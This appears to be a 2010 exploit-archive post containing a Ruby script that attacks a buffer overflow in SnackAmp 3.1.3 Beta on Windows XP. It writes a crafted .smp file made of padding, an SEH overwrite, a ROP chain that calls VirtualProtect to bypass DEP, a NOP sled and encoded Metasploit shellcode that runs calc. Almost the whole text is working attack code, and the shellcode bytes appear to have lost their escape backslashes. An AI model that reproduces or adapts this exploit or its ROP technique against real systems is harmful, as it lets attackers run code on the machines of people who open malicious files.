snackamp313b-overflow.txt
Posted on 05 October 2010
# Exploit Title: SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH - DEP BYPASS) # Date: 09/24/10 # Author: Muhamad Fadzil Ramli - mind1355 [AT] gmail [DOT] com # Credit/Bug Found By: james [AT] learnsecurityonline [DOT] com # Software Link: http://sourceforge.net/projects/snackamp/ # Version: 3.1.3 Beta # Tested on: Windows XP SP3 EN (Virtualbox 3.2.8 R64453) # CVE: N/A # GREETZ: Intranium Sdn Bhd (Security Team) # : corelanc0d3r - Great Tutorial # #! /usr/bin/env ruby # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc payload = "xdbxc0x31xc9xbfx7cx16x70xcc" payload << "xd9x74x24xf4xb1x1ex58x31x78" payload << "x18x83xe8xfcx03x78x68xf4x85" payload << "x30x78xbcx65xc9x78xb6x23xf5" payload << "xf3xb4xaex7dx02xaax3ax32x1c" payload << "xbfx62xedx1dx54xd5x66x29x21" payload << "xe7x96x60xf5x71xcax06x35xf5" payload << "x14xc7x7cxfbx1bx05x6bxf0x27" payload << "xddx48xfdx22x38x1bxa2xe8xc3" payload << "xf7x3bx7axcfx4cx4fx23xd3x53" payload << "xa4x57xf7xd8x3bx83x8ex83x1f" payload << "x57x53x64x51xa1x33xcdxf5xc6" payload << "xf5xc1x7ex98xf5xaaxf1x05xa8" payload << "x26x99x3dx3bxc0xd9xfex51x61" payload << "xb6x0ex2fx85x19x87xb7x78x2f" payload << "x59x90x7bxd7x05x7fxe8x7bxca" junk1 = "A" * 13864 seh = [0x004659C1].pack('V') # ADD ESP, 428 # RETN [Module : snackAmp.exe] ret = [0x014E101F].pack('V') * 50 # RETN [Module : pngtcl10.dll] # ROP 1 rop1 = '' rop1 << [0x71ABDAC3].pack('V') # PUSH ESP # POP ESI # RETN [Module : WS2_32.dll] #rop1 << [0x014E1265].pack('V') # MOV EAX, ESI # POP ESI # RETN [Module : pngtcl10.dll] #rop1 << "DEAD" # PADDING rop1 << [0x014F08B1].pack('V') # ADD ESP, 20 # RETN [Module : pngtcl10.dll] # END # VIRTUALPROTECT PARAMETERS params = '' params << [0x7C801AD4].pack('V') # VirtualProtect params << 'WWWW' # return address (param1) params << 'XXXX' # lpAddress (param2) params << 'YYYY' # Size (param3) params << 'ZZZZ' # flNewProtect (param4) params << [0x014F5005].pack('V'); # writeable address params << 'DEAD' * 2 # PADDING # END # ROP 2 # PARAM 1 rop2 = '' rop2 << [0x014E1265].pack('V') # MOV EAX, ESI # POP ESI # RETN [Module : pngtcl10.dll] rop2 << "DEAD" rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL] rop2 << "DEAD" rop2 << [0x014F2860].pack('V') * 10 # ADD EAX, 20 # RETN [Module : pngtcl10.dll] rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll] rop2 << "DEAD" * 2 # END # PARAM 2 rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL] rop2 << "DEAD" * 2 rop2 << [0x014F2860].pack('V') * 10 # ADD EAX, 20 # RETN [Module : pngtcl10.dll] rop2 << [0x75F991D3].pack('V') * 4 # INC ESI # RETN [Module : browseui.dll] rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll] rop2 << "DEAD" * 2 # END # PARAM 3 rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL] rop2 << "DEAD" * 2 rop2 << [0x014E1248].pack('V') # XOR EAX, EAX # RETN [Module : pngtcl10.dll] rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : MSVCRT.dll] rop2 << "DEAD" rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : MSVCRT.dll] rop2 << "DEAD" rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : MSVCRT.dll] rop2 << "DEAD" rop2 << [0x75F991D3].pack('V') * 4 # INC ESI # RETN [Module : browseui.dll] rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll] rop2 << "DEAD" * 2 # END # PARAM 4 rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL] rop2 << "PPPP" * 2 rop2 << [0x014E1248].pack('V') # XOR EAX, EAX # RETN [Module : pngtcl10.dll] rop2 << [0x76CA8BBF].pack('V') # ADD EAX, 40 # RETN [Module : IMAGEHLP.dll] rop2 << [0x75F991D3].pack('V') * 4 # INC ESI # RETN [Module : browseui.dll] rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll] rop2 << "DEAD" * 2 # END # POINT ESP TO VIRTUALPROCTECT rop2 << [0x775D1381].pack('V') # SUB EAX, 4 # RETN [Module : ole32.dll] rop2 << "DEAD" rop2 << [0x775D1381].pack('V') # SUB EAX, 4 # RETN [Module : ole32.dll] rop2 << [0x5B886978].pack('V') # XCHG EAX, ESP # RETN [Module : NETAPI32.dll] # END nops = "x90" * 150 junk2 = "C" * (20000 - (junk1 + seh + ret + rop1 + params + rop2 + nops + payload).length) xploit = junk1 + seh + ret + rop1 + params + rop2 + nops + payload + junk2 File.open("crash.smp", 'w') do |fd| fd.write xploit puts "file size: " + xploit.length.to_s end